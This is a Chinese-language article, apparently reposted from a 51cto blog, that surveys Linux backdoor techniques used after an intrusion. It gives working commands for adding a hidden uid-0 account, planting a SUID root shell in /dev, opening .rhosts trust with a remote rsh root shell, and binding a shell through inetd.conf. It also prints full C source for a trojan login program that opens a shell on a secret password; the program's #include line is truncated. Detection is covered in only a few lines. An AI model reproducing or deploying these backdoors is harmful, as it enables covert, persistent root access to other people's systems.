您所在的位置:首页 > 企业救援 > Linux数据恢复专题 > Linux相关文档

Linux后门技术及实践方法

以下的文章主要描述的是Linux后门技术及实践方法,假如你在实际操作中遇到Linux后门技术,但是你却不知道对Linux后门技术如何正确的解决,那么以下的文章对你而言一定是良师益友。以下就是文章的主要内容描述。

后门简介

入侵者完全控制系统后,为方便下次进入而采用的一种技术。

一般通过修改系统配置文件和安装第三方后门工具来实现。 具有隐蔽性,能绕开系统日志,不易被系统管理员发现等特点。

Linux后门技术

增加超级用户账号

破解/嗅探用户密码

放置SUID Shell

rhosts + +

利用系统服务程序

TCP/UDP/ICMP Shell

Crontab定时任务

共享库文件

工具包rootkit

可装载内核模块(LKM)

增加超级用户 # echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd

# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

如果系统不允许uid=0的用户远程登录,还需要增加一个普通用户账号。

破解/嗅探用户密码

获得shadow文件后,用John the Ripper 工具破解薄弱的用户密码。安装sniffit等嗅探工具,监听telnet、ftp等端口,收集用户密码。

放置SUID Shell # cp /bin/bash /dev/.rootshell

# chmod u+s /dev/.rootshell

普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。 rhosts + +

# echo "+ +" > /.rhosts

# rsh -l root victim.com csh -i

远程可以得到一个rootshell。

利用系统服务程序

修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替换in.telnetd、in.rexecd等inted的服务程序

重定向login程序

TCP/UDP/ICMP Shell

BindShell,大部分是基于TCP/UDP协议的网络服务程序,在高端口监听,很容易被发现。Ping Backdoor,通过ICMP包激活后门,形成一个Shell通道。

TCP ACK数据包后门,能够穿越防火墙。

Crontab定时任务

Linux后门技术中通过Crontab程序调度已安装的后门程序定时运行,一般在深夜时段,是系统管理员不在线的时间。

共享库文件

在共享库中嵌入后门函数使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的校验

工具包rootkit

包含一系列系统及后门工具:

清除日志中的登录记录

伪装校验和

替换netstat、ps等网络工具

后门登录程序易于安装和使用

可装载内核模块(LKM)

LKM:Loadable Kernel Modules 动态的加载,不需要重新编译内核。

截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能。

自身隐蔽性好,发现难度较大。

著名的LKM包有adore和knark。

后门的检测

以自己的经验,结合特定的工具,手工作一些检测。

使用Tripwire或md5校验来检查系统。

借助IDS系统,监听到目标机器的可疑网络连接。

实例:login后门

入侵者先把原始的/bin/login备份,再用一段程序替换/bin/login。入侵者telnet登录进来的时候,通过环境变量或者终端类型

传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,将会重定向到原始的login文件,来处理正常的登录。

最简单的login后门ulogin.c源代码如下:

实例:login后门 #include

#define PASSWORD "passWORD"

#define _PATH_LOGIN "/sbin/logins"

main (argc, argv, envp)

int argc;

char **argv, **envp;

{

char *display = getenv("DISPLAY");

if ( display == NULL ) {

execve(_PATH_LOGIN, argv, envp);

perror(_PATH_LOGIN);

exit(1);

}

if (!strcmp(display,PASSWORD)) {

system("/bin/csh");

exit(1);

}

execve(_PATH_LOGIN, argv, envp);

exit(1);

}

以上的相关内容就是对Linux后门技术及实践方法谈完整版的介绍,望你能有所收获。

本文来自51cto博客